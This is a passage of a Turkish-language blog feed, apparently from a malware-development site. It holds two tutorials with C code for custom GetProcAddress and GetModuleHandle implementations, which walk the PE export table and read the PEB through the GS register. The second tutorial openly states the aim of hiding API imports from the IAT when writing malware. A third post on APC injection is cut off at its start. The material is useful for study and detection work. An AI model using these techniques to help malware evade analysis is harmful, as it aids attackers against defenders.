[{"content":"Giriş Windows sistemlerinde C veya C++ ile geliştirme yaparken, bir DLL içindeki fonksiyonu çağırmak için genellikle GetProcAddress kullanırız. Süreç temelde basittir: LoadLibrary ile DLL belleğe alınır, ardından GetProcAddress\u0026lsquo;e DLL\u0026rsquo;in handle değeri ve aranan fonksiyonun adı verilir. Peki bu işlem arka planda tam olarak nasıl işliyor? İşletim sistemi, verdiğimiz string değerini büyük bir bellek bloğu içinde nasıl bulup bize adresini dönüyor? Bu yazıda, standart Windows API\u0026rsquo;lerini kullanmak yerine bir PE dosyasının bellek yapısını çözümleyerek kendi GetProcAddress fonksiyonumuzu yazıyoruz.\nBir DLL belleğe yüklendiğinde rastgele yerleştirilmez; PE formatı kurallarına göre yapılandırılır. İşletim sistemi dosyayı diske yazarken ve belleğe alırken bu PE Header yapılarını baz alır. DLL\u0026rsquo;ler, dışa aktardıkları fonksiyonların listesini \u0026ldquo;Export Directory\u0026rdquo; adlı bir tabloda tutarlar. Orijinal GetProcAddress, verilen modülün bellekteki Base Address\u0026rsquo;inden yola çıkar. Önce DOS Header\u0026rsquo;ı okur, oradan NT Header\u0026rsquo;a geçer ve Export Directory\u0026rsquo;ye ulaşır. Bu dizindeki isimleri tek tek aldığı string ile karşılaştırır. Eşleşme sağlandığında, o ismin \u0026ldquo;Ordinal\u0026rdquo; değerini alır. Bu değeri kullanarak asıl adreslerin bulunduğu array\u0026rsquo;den fonksiyonun gerçek bellek adresini çeker ve bir pointer olarak döndürür. Bizim yazacağımız fonksiyon da tam olarak bu rotayı takip edecek.\nCustom Fonksiyonun kendisine geçmeden önce IMAGE_EXPORT_DIRECTORY struct\u0026rsquo;ını incelememiz gerekiyor.\ntypedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; DWORD TimeDateStamp; WORD MajorVersion; WORD MinorVersion; DWORD Name; DWORD Base; DWORD NumberOfFunctions; DWORD NumberOfNames; DWORD AddressOfFunctions; DWORD AddressOfNames; DWORD AddressOfNameOrdinals; } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; Bu yapıdaki kritik olan elemanlar şunlardır:\nNumberOfNames: DLL\u0026rsquo;in isimle dışa aktardığı fonksiyonların toplam sayısıdır. Döngümüzün sınırını bu değer belirleyecek.\nAddressOfNames: Fonksiyon isimlerinin bellekteki adreslerini tutan array\u0026rsquo;dir.\nAddressOfFunctions: Fonksiyonların asıl çalıştırılabilir kodlarının bulunduğu bellek adreslerini tutan array\u0026rsquo;dir.\nAddressOfNameOrdinals: AddressOfNames array\u0026rsquo;i ile AddressOfFunctions array\u0026rsquo;i arasındaki bağlantıyı kuran Ordinal değerlerini barındırır.\nBuradaki \u0026ldquo;AddressOf\u0026rdquo; ile başlayan değerler doğrudan mutlak bellek adresi değil, RVA (Relative Virtual Address) değerleridir. RVA, bir verinin DLL\u0026rsquo;in yüklendiği Base Address\u0026rsquo;e olan uzaklığını (offset) ifade eder. Doğru adresi bulmak için sürekli olarak Base Address + RVA işlemini yapacağız.\nŞimdi koda adım adım bakalım. İlk prensibimiz dışarıdan herhangi bir API\u0026rsquo;ye bağımlı kalmamak. strcmp veya lstrcmpA kullanmak yerine kendi custom string karşılaştırma fonksiyonumuzu yazıyoruz.\nBOOL CustomStringCompare(const char* str1, const char* str2) { if (!str1 || !str2) return FALSE; while (*str1 \u0026amp;\u0026amp; (*str1 == *str2)) { str1++; str2++; } return (*str1 == *str2); } İki string pointer\u0026rsquo;ı üzerinde ilerleyip karakterleri karşılaştırıyoruz. Farklılık olana kadar veya string bitene kadar döngü devam ediyor, sonunda eşitlik durumunu döndürüyoruz.\nAna fonksiyonumuzun tanımını ve temel pointer atamasını yapıyoruz:\nFARPROC CustomGetProcAddress(HMODULE moduleBase, const char* apiName) { if (!moduleBase || !apiName) return NULL; uint8_t* baseAddr = (uint8_t*)moduleBase; moduleBase parametresi DLL\u0026rsquo;in belleğe yüklendiği başlangıç adresidir. Bunu uint8_t* türüne cast ediyoruz. Amacımız RVA değerlerini eklerken C dilindeki pointer aritmetiğinin byte bazında (1 byte ilerleyerek) doğru çalışmasını sağlamak.\nPE dosyasının ilk yapısı olan DOS Header\u0026rsquo;ı kontrol ediyoruz.\nPIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddr; if (dosHeader-\u0026gt;e_magic != IMAGE_DOS_SIGNATURE) return NULL; Base adresi IMAGE_DOS_HEADER struct\u0026rsquo;ına cast ediyoruz. DOS Header\u0026rsquo;ın e_magic değeri geçerli bir Windows executable dosyasında \u0026ldquo;MZ\u0026rdquo; olmak zorundadır. IMAGE_DOS_SIGNATURE ile bu doğrulamayı yapıyoruz.\nArdından NT Header\u0026rsquo;a geçiş yapıyoruz.\nPIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(baseAddr + dosHeader-\u0026gt;e_lfanew); if (ntHeaders-\u0026gt;Signature != IMAGE_NT_SIGNATURE) return NULL; DOS Header içindeki e_lfanew değeri NT Header\u0026rsquo;ın nerede başladığını gösterir. Base adres üzerine bu değeri ekleyerek NT Header\u0026rsquo;a ulaşıyoruz ve IMAGE_NT_SIGNATURE kontrolü ile geçerliliğini doğruluyoruz.\nExport Directory\u0026rsquo;nin konumunu bulmak için Data Directory\u0026rsquo;ye erişiyoruz:\nIMAGE_DATA_DIRECTORY exportDataDir = ntHeaders \u0026gt; OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; if (exportDataDir.Size == 0 || exportDataDir.VirtualAddress == 0) return NULL; NT Headers içindeki OptionalHeader\u0026lsquo;dan Export tablosunu temsil eden IMAGE_DIRECTORY_ENTRY_EXPORT indeksini alıyoruz. Eğer boyut veya adres sıfır ise, modül dışarıya bir fonksiyon açmıyor demektir.\nExport Directory yapısını bellekte konumlandırıyoruz:\nPIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(baseAddr + exportDataDir.VirtualAddress); Data Directory\u0026rsquo;den aldığımız RVA\u0026rsquo;yı base adres ile toplayarak doğrudan IMAGE_EXPORT_DIRECTORY struct\u0026rsquo;ına ulaşıyoruz.\nŞimdi bu struct içindeki gerekli array\u0026rsquo;leri tanımlıyoruz:\nDWORD* nameArray = (DWORD*)(baseAddr + exportDirectory-\u0026gt;AddressOfNames); DWORD* functionArray = (DWORD*)(baseAddr + exportDirectory-\u0026gt;AddressOfFunctions); WORD* ordinalArray = (WORD*)(baseAddr + exportDirectory-\u0026gt;AddressOfNameOrdinals); İlgili array adreslerinin (RVA) üzerine base adresi ekleyerek array\u0026rsquo;lerin bellekteki gerçek lokasyonlarını belirliyoruz. ordinalArray\u0026lsquo;in DWORD değil WORD (2 byte) tipinde olduğuna dikkat edelim.\nPeki bu \u0026ldquo;Ordinal\u0026rdquo; tam olarak nedir ve neden böyle bir köprüye ihtiyaç duyuyoruz? Sistemin mantığı şu şekilde işler: nameArray adlı array, işletim sisteminin arama yaparken hız kazanması (ikili arama - binary search gibi algoritmaları kullanabilmesi) için alfabetik olarak sıralanmıştır. Ancak isimler alfabetik olarak dizildiğinde, bir ismin bu arraydeki sırası ile o fonksiyona ait gerçek bellek adresinin bulunduğu functionArray içindeki sırası doğal olarak birbirini tutmaz. İşte ordinalArray tam bu noktada devreye girer. Bu array nameArray ile tamamen paralel çalışır. Biz aradığımız fonksiyon adını nameArray içinde örneğin 5. sırada (i = 5) bulduğumuzda, o fonksiyonun asıl adresi functionArray içinde 5. sırada değildir. Gerçek indeksi öğrenmek için köprü görevi gören ordinalArray[5] değerine bakarız. Oradan çıkan değer (ordinal), fonksiyonun adres dizisindeki asıl yerini gösterir. Özetle ordinal, alfabetik isim listesi ile bellek adres listesi arasındaki hizalamayı sağlayan bir indeks haritasıdır.\nBu mantığı anladıktan sonra, fonksiyon isimleri arasında arama yapacağımız döngüyü kuruyoruz:\nDWORD totalNames = exportDirectory-\u0026gt;NumberOfNames; for (DWORD i = 0; i \u0026lt; totalNames; i++) { char* currentFuncName = (char*)(baseAddr + nameArray[i]); NumberOfNames değeri kadar dönen bir döngü başlatıyoruz. Her adımda nameArray içindeki RVA değerini base adrese ekleyerek o anki fonksiyon adının bellek adresini elde ediyoruz.\nHedef API adıyla karşılaştırma işlemini ve ordinal kullanımını gerçekleştiriyoruz:\nif (CustomStringCompare(apiName, currentFuncName)) { WORD ordinalIndex = ordinalArray[i]; FARPROC targetFunction = (FARPROC)(baseAddr + functionArray[ordinalIndex]); return targetFunction; } } return NULL; } Kendi string fonksiyonumuzla eşleşme durumunu kontrol ediyoruz. Eşleşme sağlandığında, az önce bahsettiğimiz köprü mantığını işletiyoruz: Döngüdeki i indeksini kullanarak ordinalArray üzerinden fonksiyonun gerçek sıra numarasını (ordinalIndex) alıyoruz. Bu sıra numarasını functionArray üzerinde indeks olarak kullanıp asıl fonksiyonun RVA değerini çekiyoruz. Son olarak bu RVA\u0026rsquo;yı base adres ile toplayarak hedef fonksiyonun çalıştırılabilir bellek adresine (FARPROC) ulaşıyoruz ve döndürüyoruz. Döngü bittiğinde hiçbir eşleşme bulunmazsa NULL dönüyoruz.\nBu işlemler sonucunda standart bir Windows API\u0026rsquo;si olan GetProcAddress\u0026lsquo;in arka plandaki PE Header parse işlemlerini kendi kodumuzla uygulamış olduk. Orijinal GetProcAddress fonksiyonu, bu temel yapının yanı sıra \u0026ldquo;Forwarded Exports\u0026rdquo; (bir DLL içindeki fonksiyonun farklı bir DLL\u0026rsquo;e yönlendirilmiş olması) gibi istisnai durumları da yönetmektedir. Ancak bellek üzerindeki RVA hesaplamalarını, Ordinal köprüsünü ve PE dosya yapısını kavramak için bu temel uygulamayı adım adım yazmak, mimariyi anlamak açısından oldukça verimlidir. İşlemi dış bağımlılıklar olmadan, doğrudan bellek adresleri üzerinden tamamlamış olduk.\nKonuda anlatılan kodun tamamına ulaşmak isterseniz malware-development-library adresinden ulaşabilirsiniz.\n","permalink":"https://0xgently.github.io/posts/custom_getprocaddress/","summary":"\u003ch2 id=\"giriş\"\u003eGiriş\u003c/h2\u003e\n\u003cp\u003eWindows sistemlerinde C veya C++ ile geliştirme yaparken, bir DLL içindeki fonksiyonu çağırmak için genellikle \u003ccode\u003eGetProcAddress\u003c/code\u003e kullanırız. Süreç temelde basittir: \u003ccode\u003eLoadLibrary\u003c/code\u003e ile DLL belleğe alınır, ardından \u003ccode\u003eGetProcAddress\u003c/code\u003e\u0026lsquo;e DLL\u0026rsquo;in handle değeri ve aranan fonksiyonun adı verilir. Peki bu işlem arka planda tam olarak nasıl işliyor? İşletim sistemi, verdiğimiz string değerini büyük bir bellek bloğu içinde nasıl bulup bize adresini dönüyor? Bu yazıda, standart Windows API\u0026rsquo;lerini kullanmak yerine bir PE dosyasının bellek yapısını çözümleyerek kendi \u003ccode\u003eGetProcAddress\u003c/code\u003e fonksiyonumuzu yazıyoruz.\u003c/p\u003e","title":"Custom GetProcAddress"},{"content":"Giriş Windows API\u0026rsquo;lerinin arka planda tam olarak nasıl çalıştığını incelemek Zararlı yazarken bize çok sayıda yeni teknik ve taktik kazandırır. Bu yazıda, en sık kullanılan API\u0026rsquo;lerden biri olan GetModuleHandle fonksiyonunu, hiçbir Windows API\u0026rsquo;si çağırmadan sıfırdan nasıl implemente edebileceğimizi inceleyeceğiz. Tabiki bunu yapma sebeplerimizden en büyüğü sürekli kullanmış olduğumuz bu fonksiyonu IAT(Import Address Table) içerisinden gizlemek.\nBildiğiniz gibi GetModuleHandle, verdiğiniz bir DLL ismine karşılık o modülün bellekte yüklü olduğu base adresini döner. Yaptığı işlem aslında gayet nettir: OS loader tarafından her process için tutulan ve yüklü modülleri barındıran bir listeyi taramak. Bu liste, Process Environment Block (PEB) yapısının içinde yer alır. Bu yazının odak noktası da PEB\u0026rsquo;e manuel olarak ulaşıp bu listeyi nasıl parse edeceğimizi adım adım göstermek olacak.\nAncak PEB\u0026rsquo;i parse etmeye başlamadan önce yapıyı doğru anlamak gerekiyor. PEB\u0026rsquo;in içindeki bu modül verisi özünde bir linked list\u0026rsquo;tir. Dolayısıyla spesifik Windows yapılarına girmeden önce, OS loader\u0026rsquo;ın bu iş için neden basit bir array yerine linked list kullandığına kısaca değineceğiz. Bu temel mantık oturduğunda, PEB\u0026rsquo;deki verileri okumak karmaşık bir işlem olmaktan çıkıp, standart bir linked list üzerinde gezinmeye dönüşecek.\nArray\u0026rsquo;ler ve Linked List\u0026rsquo;ler Verileri bellekte tutarken array\u0026rsquo;ler, yapıları gereği contiguous (bitişik) bellek bloklarıdır. Eleman boyutunu bildiğiniz sürece başlangıç adresine basit bir pointer aritmetiği uygulayarak herhangi bir indekse doğrudan erişebilirsiniz. Bu durum onları son derece hızlı ve cache-friendly yapar. Ancak array\u0026rsquo;lerin en büyük dezavantajı dinamik olarak genişletilmelerinin maliyetli olmasıdır. Ayrılan kapasite dolduğunda yeni bir eleman eklemek isterseniz, bellekte daha büyük yeni bir alan allocate etmeniz ve tüm mevcut veriyi bu yeni alana kopyalamanız gerekir.\nBir process\u0026rsquo;in yaşam döngüsü boyunca sürekli yeni DLL\u0026rsquo;ler yüklenebilir veya mevcutlar unload edilebilir. Boyutu sürekli değişen böyle dinamik bir modül listesi için array kullanmak, sürekli bellek kopyalama işlemi gerektireceğinden son derece verimsizdir.\nLinked list\u0026rsquo;ler tam olarak bu sorunu çözer. Tek ve büyük bir bitişik bellek bloğu yerine, her eleman (node) için bağımsız allocation yapılır ve her eleman bir sonrakinin (veya öncekinin) bellek adresini bir pointer aracılığıyla tutar. Listeye yeni bir modül ekleneceğinde mevcut veriyi taşımaya gerek kalmaz; sadece yeni bir alan allocate edilip aradaki pointer bağlarının güncellenmesi yeterlidir.\nBunun teknik bedeli ise random access özelliğinin kaybolmasıdır; belirli bir elemana ulaşmak için listeyi baştan taramanız gerekir. Ancak OS loader\u0026rsquo;ın modül listesi senaryosunda belirli bir indekse doğrudan erişme ihtiyacı zaten yoktur. Yapılan işlem, aranan DLL ismine denk gelene kadar listeyi baştan sona taramaktır. İndeks bazlı erişime ihtiyaç duyulmadığı ve dinamik ekleme/çıkarma operasyonları sık olduğu için, Windows\u0026rsquo;un bu yapıda array yerine linked list kullanması en mantıklı mühendislik tercihidir.\nÇift Yönlü Linked List\u0026rsquo;ler Tek yönlü linked list\u0026rsquo;lerde her node, sadece bir sonrakini işaret eden tek bir pointer barındırır. Eğer listede sadece tek bir yönde ilerleyecekseniz bu yapı yeterlidir. Ancak önemli bir dezavantajı vardır: Bulunduğunuz node\u0026rsquo;dan bir öncekine doğrudan dönemezsiniz. Geri gitmeniz gerektiğinde, listenin en başına dönüp ilgili node\u0026rsquo;a kadar tekrardan taramanız gerekir.\nÇift yönlü linked list yapısı ise her node\u0026rsquo;a iki adet pointer ekleyerek bu kısıtlamayı tamamen ortadan kaldırır. Windows mimarisinde bu yapı LIST_ENTRY olarak adlandırılır. İçerisindeki pointer\u0026rsquo;lar ise ileri bağlantı için Flink (Forward Link) ve geri bağlantı için Blink (Backward Link) olarak isimlendirilir.\nWindows\u0026rsquo;un bu yapıyı kodda nasıl tanımladığına adım adım bakalım. İlk olarak yapının tanımı ve bir sonraki elemanı gösteren pointer gelir.\ntypedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; // Bir sonraki node\u0026#39;un bellek adresini tutar Hemen ardından geriye dönük pointer gelir ve yapı tamamlanır:\nstruct _LIST_ENTRY *Blink; // Bir önceki node\u0026#39;un bellek adresini tutar } LIST_ENTRY, *PLIST_ENTRY; Tüm yapı sadece bu iki pointer\u0026rsquo;dan ibarettir. Bu minimal tasarım sayesinde listeyi Flink üzerinden ileriye, Blink üzerinden geriye doğru tarayabilirsiniz. Sisteme sağladığı en büyük performans avantajı ise bir node\u0026rsquo;u O(1) karmaşıklığıyla (sabit sürede) silebilmenizdir. İlgili node zaten hem önceki hem de sonraki komşularının adresini bildiği için, listeyi baştan taramaya gerek kalmadan sadece pointer\u0026rsquo;ları güncelleyerek aradan çıkarılabilir.\nLIST_ENTRY struct\u0026rsquo;ı yalnızca OS loader\u0026rsquo;ın modül listesinde değil, Windows kernel ve ntdll yapılarının neredeyse tamamında standart olarak kullanılan temel bir yapı taşıdır. Bu yapının mantığını kavradığınızda, Windows iç dünyasındaki veri yapılarının büyük bir kısmını da anlamış olursunuz.\nCircular List\u0026rsquo;ler ve List Head Windows mimarisinde LIST_ENTRY yapısını incelerken akla gelen ilk teknik soru genellikle listenin sonunun nasıl tespit edileceğidir. Standart bir linked list tasarımında iterasyon şartı basittir: Son node\u0026rsquo;un ileri yönlü pointer\u0026rsquo;ı NULL değerini taşır ve döngü bu NULL değerine ulaşıldığında sonlanır.\nAncak Windows, çekirdek yapılarında NULL ile biten listeler yerine dairesel bir tasarım kullanır. Bu yapıda listenin son node\u0026rsquo;unun Flink pointer\u0026rsquo;ı NULL\u0026lsquo;a değil, tekrar en başa işaret eder. Benzer şekilde, ilk node\u0026rsquo;un Blink pointer\u0026rsquo;ı da listenin en sonuna bağlanır. Böylece yapı kendi üzerine kapanan bir halka halini alır. Tıpkı kendini yiyen bir yılan gibi.\nBu dairesel yapının sonsuz bir döngüye dönüşmemesi için, referans alınabilecek sabit bir başlangıç noktasına ihtiyaç vardır. Windows terminolojisinde bu noktaya List Head denir. List head, özünde standart bir LIST_ENTRY değişkenidir ancak tek bir temel farkı vardır: Gerçek bir veriyi (örneğin yüklü bir modülü) temsil etmez. Sadece bir parent struct\u0026rsquo;ın (bizim senaryomuzda birazdan değineceğimiz PEB_LDR_DATA yapısının) içinde yer alan bir sabit referans noktası görevi görür. Flink ve Blink pointer\u0026rsquo;ları, listedeki ilk ve son \u0026ldquo;gerçek\u0026rdquo; veri node\u0026rsquo;larına işaret eder.\nBu mimari üzerinde bir listeyi taramak istediğimizde döngü mantığını nasıl kurduğumuza adım adım bakalım. İlk olarak başlangıç noktamızı, yani head\u0026rsquo;in gösterdiği ilk gerçek elemanı tanımlarız:\nPLIST_ENTRY current = head-\u0026gt;Flink; Döngümüz, standart listelerdeki gibi NULL değerini aramak yerine, okuduğumuz adresin tekrar başlangıç sabit referans noktasısına (head) dönüp dönmediğini kontrol eder:\nwhile (current != head) { // Node üzerindeki işlemler burada yapılır... Döngü gövdesindeki işlemler bittikten sonra, bir sonraki node\u0026rsquo;a geçmek için yine Flink pointer\u0026rsquo;ı üzerinden ilerlenir:\ncurrent = current-\u0026gt;Flink; Bu tasarımının en büyük mühendislik avantajı, boş listeler için ekstra bir if (current == NULL) kontrolüne ihtiyaç bırakmamasıdır. Eğer liste tamamen boşsa, head-\u0026gt;Flink pointer\u0026rsquo;ı doğrudan head\u0026lsquo;in kendisine işaret edecek ve while şartı baştan sağlanmadığı için döngüye hiç girilmeyecektir.\nPEB_LDR_DATA Dairesel ve çift yönlü linked list mantığını oturttuğumuza göre, Windows\u0026rsquo;un yüklü modülleri takip etmek için arka planda kullandığı asıl yapıya geçebiliriz: PEB_LDR_DATA.\nYapının başlangıcında temel boyut ve durum bilgileri yer alır:\ntypedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; HANDLE SsHandle; Hemen sonrasında ise modül listelerini barındıran üç adet LIST_ENTRY alanı gelir:\nLIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; // ... (kalan alanlar) } PEB_LDR_DATA, *PPEB_LDR_DATA; Dikkat ederseniz OS loader, modülleri tek bir liste yerine üç farklı sıralama (yükleme sırası, bellek adresi sırası ve başlatılma sırası) ile takip ediyor. Aslında üç liste de bellekteki aynı modül kayıtlarını birbirine bağlıyor; sadece her modülün içindeki farklı Flink/Blink çiftleri üzerinden rotalar değişiyor. Bizim GetModuleHandle implementasyonumuz için odaklanacağımız alan InMemoryOrderModuleList olacak.\nBir önceki bölümde bahsettiğimiz list head (sabit referans noktası) kavramı tam olarak buradaki InMemoryOrderModuleList\u0026lsquo;tir. Kendisi gerçek bir modül değildir. Flink pointer\u0026rsquo;ı ilk yüklenen modüle, Blink pointer\u0026rsquo;ı ise son yüklenen modüle işaret eder; bu sabit referans noktası üzerinden Flink yönünde ilerleyerek process\u0026rsquo;e yüklenmiş her DLL\u0026rsquo;e ulaşabiliriz.\nBu listedeki gerçek veri düğümleri ise LDR_DATA_TABLE_ENTRY adı verilen farklı bir struct\u0026rsquo;tır. Modülün bellekteki base adresini ve ismini asıl tutan yapı budur. Ancak burada çok kritik bir teknik detay devreye giriyor: Listeyi gezerken Flink üzerinden elde ettiğimiz pointer, doğrudan LDR_DATA_TABLE_ENTRY yapısının başlangıç adresini göstermez. Bize dönen adres, bu struct\u0026rsquo;ın biraz daha içine gömülü olan LIST_ENTRY alanının adresidir.\nGerçek modül verilerine (isim, base adres) ulaşmak için, bu içteki pointer\u0026rsquo;dan yola çıkarak struct\u0026rsquo;ın en başındaki adresi hesaplamamız gerekir. Kod yazma aşamasına geldiğimizde, bu bellek aritmetiğini C\u0026rsquo;deki CONTAINING_RECORD makrosunu kullanarak çözeceğiz.\nPEB\u0026rsquo;i TEB üzerinden Okumak PEB yapısının içindeki modül listelerini nasıl gezeceğimizi inceledik, ancak en temel soruyu henüz yanıtlamadık: PEB\u0026rsquo;in bellek adresine (pointer) baştan nasıl ulaşacağız? Hiçbir Windows API\u0026rsquo;si kullanmama kuralımız gereği GetModuleHandle veya benzeri sistem çağrılarına başvuramayız. Bu nedenle doğrudan donanım seviyesindeki register\u0026rsquo;lara gitmemiz gerekiyor.\nWindows\u0026rsquo;ta çalışan her thread\u0026rsquo;in kendisine ait bir Thread Environment Block (TEB) yapısı bulunur. Bu TEB, ait olduğu process\u0026rsquo;in genel PEB\u0026rsquo;ine işaret eden bir pointer barındırır. x64 mimarisindeki Windows sistemlerde işletim sistemi, o an çalışan thread\u0026rsquo;in TEB adresini GS segment register\u0026rsquo;ı üzerinden tutar. İşletim sistemine herhangi bir adres sormanıza gerek yoktur; thread çalıştığı sürece TEB\u0026rsquo;in adresi her zaman sabit olarak GS:[0x30] offsetinde bulunur. TEB\u0026rsquo;in içinden PEB pointer\u0026rsquo;ına gitmek için gereken offset ise 0x60\u0026lsquo;tır. Kısacası, GS:[0x60] adresini okumak bize hiçbir API çağrısı olmadan doğrudan PEB* verir.\nAncak standart C sözdizimi, segmente dayalı bellek okumalarını tek başına ifade edemez. Bunun için kodu GCC/Clang derleyicilerine uygun inline assembly ile donanıma doğrudan söylememiz gerekiyor.\nİlk olarak sadece x64 mimarisinde olduğumuzu garanti altına alıp dönüş değişkenimizi tanımlıyoruz:\nstatic PPEB GetPebManually(void) { #if defined(__x86_64__) PPEB peb; Ardından inline assembly bloğumuzu başlatıyoruz. Burada kullanılan __volatile__ anahtar kelimesi kritiktir; derleyiciye optimizasyon yaparken bu kodu es geçmemesini, sırasını değiştirmemesini ve kesinlikle çalıştırmasını söyler:\n__asm__ __volatile__( İşin kalbi olan CPU komutu tam olarak burasıdır. movq (move quadword) ile 64-bitlik bir veriyi okuyoruz. %%gs:0x60 ifadesi, GS segment register\u0026rsquo;ına göre 0x60 offsetindeki adresten veriyi alır ve %0 ile gösterilen ilk çıktı hedefine yazar. (GCC assembly sözdiziminde register\u0026rsquo;lar % ile belirtildiği için, inline assembly içinde gs yazarken kaçış karakteri olarak çift % kullanmamız gerekir):\n\u0026#34;movq %%gs:0x60, %0\u0026#34; Şimdi assembly dünyasındaki bu %0 hedefinin, C dünyasındaki hangi değişkene karşılık geldiğini derleyiciye açıklamamız gerekiyor. \u0026quot;=r\u0026quot; ifadesindeki =, bunun sadece yazılabilir bir çıktı (write-only output) olduğunu belirtir. r ise derleyiciye bu kopyalama işlemi için uygun gördüğü herhangi bir general-purpose register\u0026rsquo;ı seçme özgürlüğü verir. Sonuç olarak okunan değer C tarafındaki peb değişkenine aktarılır:\n: \u0026#34;=r\u0026#34; (peb) ); return peb; Eğer kod x64 mimarisinde derlenmiyorsa, hata verdirip bloğu kapatıyoruz:\n#else #error \u0026#34;x64 only (GS:[0x60])\u0026#34; #endif } Bu kadar. Tek bir CPU instruction\u0026rsquo;ı yazarak, hiçbir Windows API\u0026rsquo;sine dokunmadan doğrudan PEB pointer\u0026rsquo;ını çekip aldık. Artık elde ettiğimiz bu pointer üzerinden modül listelerini taramayacağımız fonksiyona geçebiliriz.\nFindModuleBaseManually Function İlk adımda fonksiyonumuzu tanımlıyor ve bir önceki bölümde yazdığımız inline assembly fonksiyonunu çağırarak PEB\u0026rsquo;in base adresini alıyoruz:\nPVOID FindModuleBaseManually(const wchar_t* targetModuleName) { PPEB peb = GetPebManually(); Hemen ardından standart bir güvenlik kontrolü yapıyoruz. PEB\u0026rsquo;in kendisi veya içindeki LDR_DATA yapısı (modül listelerini tutan alan) herhangi bir sebeple başlatılmamışsa, programın çökmemesi için işlemi iptal edip NULL dönüyoruz:\nif (!peb || !peb-\u0026gt;Ldr) { return NULL; } Artık modül listesinin kendisine ulaşabiliriz. Dairesel listeyi tarayabilmek için referans noktamız olan sabit referans noktasını (head) belirliyor ve döngüye başlayacağımız ilk \u0026ldquo;gerçek\u0026rdquo; elemanı Flink üzerinden seçiyoruz:\nPLIST_ENTRY head = \u0026amp;peb-\u0026gt;Ldr-\u0026gt;InMemoryOrderModuleList; PLIST_ENTRY current = head-\u0026gt;Flink; Bulduğumuz base adresini tutacağımız değişkeni tanımladıktan sonra, dairesel liste döngümüzü başlatıyoruz. Daha önce konuştuğumuz gibi, durma şartımız NULL değil, okuduğumuz adresin tekrar başlangıç sabit referans noktasısına (head) eşit olması:\nPVOID foundBase = NULL; while (current != head) { İşte geldik bütün sürecin en kritik matematiksel işlemine. current pointer\u0026rsquo;ımız, modül yapısının en başını değil, içine gömülü olan LIST_ENTRY alanını gösteriyor. CONTAINING_RECORD makrosunu kullanarak bu içteki offset\u0026rsquo;ten geriye doğru gidiyor ve asıl veri yapımız olan LDR_DATA_TABLE_ENTRY_COMPLETE\u0026lsquo;in başlangıç adresini hesaplıyoruz:\nPLDR_DATA_TABLE_ENTRY_COMPLETE entry = CONTAINING_RECORD( current, LDR_DATA_TABLE_ENTRY_COMPLETE, InMemoryOrderLinks ); Asıl yapıya ulaştığımıza göre, modülün ismini okumaya başlayabiliriz. BaseDllName alanı genellikle bir UNICODE_STRING yapısıdır. Önce buffer\u0026rsquo;ın geçerli olup olmadığını kontrol ediyor, ardından karakter sayısını hesaplıyoruz (çünkü Length alanı karakter sayısını değil, byte cinsinden boyutu verir):\nif (entry-\u0026gt;BaseDllName.Buffer \u0026amp;\u0026amp; entry-\u0026gt;BaseDllName.Length \u0026gt; 0) { int charCount = entry-\u0026gt;BaseDllName.Length / sizeof(WCHAR); Arka planda neler olup bittiğini görmek için listeyi tararken bulduğumuz her DLL\u0026rsquo;i ve onun base adresini ekrana yazdırıyoruz:\nwprintf(L\u0026#34;[Loaded Module] %-20.*s (Base: 0x%p)\\n\u0026#34;, charCount, entry-\u0026gt;BaseDllName.Buffer, entry-\u0026gt;DllBase); Ve eşleşme kontrolü: Okuduğumuz modülün ismi, aradığımız modülün ismiyle (örneğin \u0026ldquo;kernel32.dll\u0026rdquo;) eşleşiyor mu? Büyük/küçük harf duyarsız bir karşılaştırma (_wcsnicmp) yapıyoruz. Eğer eşleşirse, modülün base adresini (DllBase) kaydedip döngüden çıkıyoruz:\nif (targetModuleName \u0026amp;\u0026amp; _wcsnicmp(entry-\u0026gt;BaseDllName.Buffer, targetModuleName, charCount) == 0) { foundBase = entry-\u0026gt;DllBase; break; } } Eğer bu modül aradığımız modül değilse, listeyi taramaya devam etmek için Flink üzerinden bir sonraki elemana geçiyoruz:\ncurrent = current-\u0026gt;Flink; } Son olarak, eğer döngü kırıldıysa bulduğumuz base adresini; eğer liste bittiyse ve eşleşme bulunamadıysa baştaki NULL değerini geri döndürüp fonksiyonu sonlandırıyoruz:\nreturn foundBase; } Böylece GetModuleHandle API\u0026rsquo;sine hiç dokunmadan, işletim sisteminin kendi iç veri yapılarını manuel olarak tarayarak bir DLL\u0026rsquo;in bellek adresini tamamen kendi yöntemlerimizle elde etmiş olduk.\nKonumuz bu kadardı biraz uzun sürmüş olabilir ama temel kavramları veya structları en fazla bu kadar kısa ve net anlatabildim. Konuda anlatılan kodun tamamına ulaşmak isterseniz malware-development-library adresinden ulaşabilirsiniz.\n","permalink":"https://0xgently.github.io/posts/custom_getmodulehandle/","summary":"\u003ch2 id=\"giriş\"\u003eGiriş\u003c/h2\u003e\n\u003cp\u003eWindows API\u0026rsquo;lerinin arka planda tam olarak nasıl çalıştığını incelemek Zararlı yazarken bize çok sayıda yeni teknik ve taktik kazandırır. Bu yazıda, en sık kullanılan API\u0026rsquo;lerden biri olan \u003ccode\u003eGetModuleHandle\u003c/code\u003e fonksiyonunu, hiçbir Windows API\u0026rsquo;si çağırmadan sıfırdan nasıl implemente edebileceğimizi inceleyeceğiz. Tabiki bunu yapma sebeplerimizden en büyüğü sürekli kullanmış olduğumuz bu fonksiyonu IAT(Import Address Table) içerisinden gizlemek.\u003c/p\u003e\n\u003cp\u003eBildiğiniz gibi \u003ccode\u003eGetModuleHandle\u003c/code\u003e, verdiğiniz bir DLL ismine karşılık o modülün bellekte yüklü olduğu base adresini döner. Yaptığı işlem aslında gayet nettir: OS loader tarafından her process için tutulan ve yüklü modülleri barındıran bir listeyi taramak. Bu liste, Process Environment Block (PEB) yapısının içinde yer alır. Bu yazının odak noktası da PEB\u0026rsquo;e manuel olarak ulaşıp bu listeyi nasıl parse edeceğimizi adım adım göstermek olacak.\u003c/p\u003e","title":"Custom GetModuleHandle"},{"content":"Apc Injection Günümüzde birtakım zararlılar yazma konusunda payload\u0026rsquo;umuzu çalıştırmak için 